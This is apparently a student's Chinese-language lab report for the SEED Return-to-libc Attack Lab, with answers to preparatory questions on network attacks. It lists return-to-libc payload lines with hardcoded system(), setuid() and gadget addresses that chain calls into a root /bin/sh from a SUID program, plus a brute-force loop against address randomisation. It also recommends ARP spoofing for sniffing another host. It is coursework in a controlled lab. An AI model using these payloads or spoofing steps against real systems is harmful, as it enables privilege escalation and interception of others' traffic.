漏洞挖掘前言
题目
Lab
Return-to-libc Attack Lab
Pre
1、名词解释:ARP cache poisoning,ICMP Redirect Attack,SYN Flooding Attack,TCP Session Hijacking。如果想监听局域网内另外一台机器,一般先要进行什么步骤?
2、阅读下面这篇文章并且了解Netwox/Netwag的基本操作:
Netwox/Netwag Troubleshooting guide
http://www.cis.syr.edu/~wedu/seed/Documentation/Misc/netwox.pdf
3、解释linux用root执行下面两条命令
sysctl -q net.ipv4.tcp_max_syn_backlog
sysctl -w net.ipv4.tcp_syncookies=0
的含义和用途。
4、阅读Smashing C++ VPTRs这篇文章,阐述其原理。
http://www.phrack.org/issues.html?issue=56&id=8
5、考虑Linux环境下如何实现精确计算程序运行的时间,搜索下相关资料。
解答
Lab
Return-to-libc Attack Lab
Task1: Exploiting the Vulnerability
Step1:初始设置
关闭地址随机化,编译漏洞文件,注意设置栈不可执行但要关闭栈保护,并且赋予其SUID权限。
Step2:构造一个简单的badfile文件
使用vim构造一个badfile文件,里面只写入AAAA,这样方便我们使用gdb调试查看返回地址离fread写入处的距离。
Step3:使用gdb查看函数的地址
Step4:将参数放入环境变量,并获取其地址
把system的参数“/bin/sh”放入环境变量MYBS,并使用getenvaddr.c获取环境变量的地址。getenvaddr.c文件内容如下:
Step5:构造exploit.c文件
由以上分析得出以下代码:
*(long *) &buf[24] = 0xb7e5f430 ; // system()
*(long *) &buf[28] = 0xb7e52fb0 ; // exit()
*(long *) &buf[32] = 0xbffffe7b ; // "/bin/sh"
编译执行exploit.c文件,生成新的badfile文件。
运行漏洞程序retlib,实行攻击。
可以看出攻击成功!
Task2: 扩充实验
执行
system(” usr/bin/id”);
setuid(0);
system(”/bin/sh”);
exit();
四个函数。
Step1:重新准备文件
将漏洞程序retlib、攻击文件exploit中的40换成120,重新编译、赋予SUID。
Step2:查看函数地址
Step3:寻找pop函数
使用objdump -d retlib命令
可以看到,在0x080485b8处有一个pop函数,我们就用这个。
Step4:把参数放进环境变量
Step5:构造exploit.c文件
*(long *) &buf[24] = 0xb7e5f430 ; // system()
*(long *) &buf[28] = 0x080485b8 ; // pop edp
*(long *) &buf[32] = 0xbffffcf2 ; // "/usr/bin/id"
*(long *) &buf[36] = 0xb7ed8e40 ; // setuid()
*(long *) &buf[40] = 0x080485b8 ; // pop edp
*(long *) &buf[44] = 0x00000000 ; // 0
*(long *) &buf[48] = 0xb7e5f430 ; // system()
*(long *) &buf[52] = 0x080485b8 ; // pop edp
*(long *) &buf[56] = 0xbffffe7b ; // "/bin/sh"
*(long *) &buf[60] = 0xb7e52fb0 ; // exit()
编译执行exploit.c文件,生成新的badfile文件。
运行漏洞程序retlib,实行攻击。
攻击成功!!!
Task3: Address Randomization
打开地址随机化,理论是存在成功可能性的,但是由于随机的函数地址太多了,这个可能性是很小的,我执行了一段时间也没有执行出来。
使用以下命令循环执行漏洞文件:
sh -c "while [ 1 ]; do ./retlib; done;"
Task4: Stack Guard Protection
打开栈保护,重新编译并执行文件,发现攻击失败。原因也是很明显的,栈保护打开后不允许溢出,而我们的攻击只是绕过了栈不可执行,仍然是需要栈溢出的。
Pre
1、名词解释:ARP cache poisoning,ICMP Redirect Attack,SYN Flooding Attack,TCP Session Hijacking。如果想监听局域网内另外一台机器,一般先要进行什么步骤?
ARP cache poisoning:ARP缓存是ARP协议的重要组成部分。一旦MAC地址和IP地址之间的映射被解析为执行ARP协议的结果,映射将被缓存。因此,如果映射已经在缓存中,则不需要重复ARP协议。然而,由于ARP协议是无状态的,所以高速缓存可能会被恶意制作的ARP消息中毒(篡改)。这种攻击称为ARP缓存中毒攻击。
ICMP Redirect Attack:即ICMP重定向攻击工作,路由器使用ICMP重定向消息为主机提供最新的路由信息,主机最初具有最少的路由信息。 当主机接收到ICMP重定向消息时,它将根据消息修改其路由表。 由于缺乏验证,如果攻击者希望受害者以特定方式设置路由信息,则可以向受害者发送伪造的ICMP重定向消息,并欺骗受害者修改其路由表。
SYN Flooding Attack:这是是一种广为人知的DoS(拒绝服务攻击)是DDoS(分布式拒绝服务攻击)的方式之一,利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)。
TCP Session Hijacking:即会话劫持,是指通过非常规手段,来得到合法用户在客户端和服务器段进行交互的特征值(一般为sessionid),然后伪造请求,去访问授权用户的数据。
如果要监听局域网内另一台机器,带网络管理员的话直接在网络设备上面开启端口镜像,然后在电脑上安装Wireshark、科来网络分析等软件,对网络进行正常分析;普通用户的话,无论是路由器还是交换机连接,既然都是局域网内,那么监听嗅探的方法基本都是一致的,就是要用到ARP欺骗攻击攻击,然后再抓包。
2、阅读下面这篇文章并且了解Netwox/Netwag的基本操作:
Netwox/Netwag Troubleshooting guide
http://www.cis.syr.edu/~wedu/seed/Documentation/Misc/netwox.pdf
嗅探数据包工具:使用vmnet8作为用来嗅探的设备;通过查看本地信息,了解如何映射到Netwag中的设备名称;提供pcap过滤器来优化。
欺骗IP数据包工具:发送伪ip数据包它使用户可以完全控制ip头;在使用此工具之前进行ARP缓存中毒攻击
欺骗IP/ICMP数据包工具:允许攻击者使用任意IP参数发送任意长度的ICMP数据包、允许用户指定ICMP头参数以及IP头参数
欺骗TCP/IP数据包工具:允许用户修改数据包的IP头,TCP头和TCP数据,能用于会话劫持。
发送连续ARP回复工具:需要设备名称、以及源和目标IP地址以及以太网地址。
3、解释linux用root执行下面两条命令
sysctl -q net.ipv4.tcp_max_syn_backlog
sysctl -w net.ipv4.tcp_syncookies=0的含义和用途。
sysctl -q net.ipv4.tcp_max_syn_backlog:Tcp syn队列的最大长度,在进行系统调用connect时会发生Tcp的三次握手,server内核会为Tcp维护两个队列,Syn队列和Accept队列,修改net.ipv4.tcp_max_syn_backlog使之增大可以接受更多的网络连接。 注意此参数过大可能遭遇到Syn flood攻击,即对方发送多个Syn报文端填充满Syn队列,使server无法继续接受其他连接。
sysctl -w net.ipv4.tcp_syncookies=0:tcp_syncookies是一个开关,是否打开SYN Cookie功能,该功能可以防止部分SYN攻击。置为0则关闭这个功能。
4、阅读Smashing C++ VPTRs这篇文章,阐述其原理。
http://www.phrack.org/issues.html?issue=56&id=8
本文提到了C++虚拟指针,虚拟方法与非虚拟方法的一个不同之处是,非虚拟方法的调用是在编译时确定(通常称为“静态绑定”),而虚拟方法的调用却是在程序时确定的(通常称为“动态绑定”)。
首先我们构造我们自己的VTABLE,其中的指针入口将指向我们期望运行的代码(如shellcode等)。然后再使缓冲区溢出,并覆盖VPTR,使其指向我们的VTABLE。
5、考虑Linux环境下如何实现精确计算程序运行的时间,搜索下相关资料。
#include <sys/time.h>
int gettimeofday(struct timeval*tv, struct timezone *tz);
gettimeofday是计算机函数,使用C语言编写程序需要获得当前精确时间(1970年1月1日到现在的时间),或者为执行计时。它获得的时间精确到微秒(1e-6 s)量级。在一段代码前后分别使用gettimeofday可以计算代码执行时间。
它由于直接提取硬件时钟,所以得到的值很精确,但是因为此,这个方法只能计算程序开始时间和结束时间的差值。而此时系统中如果在运行其他的后台程序,可能会影响到最终结果的值。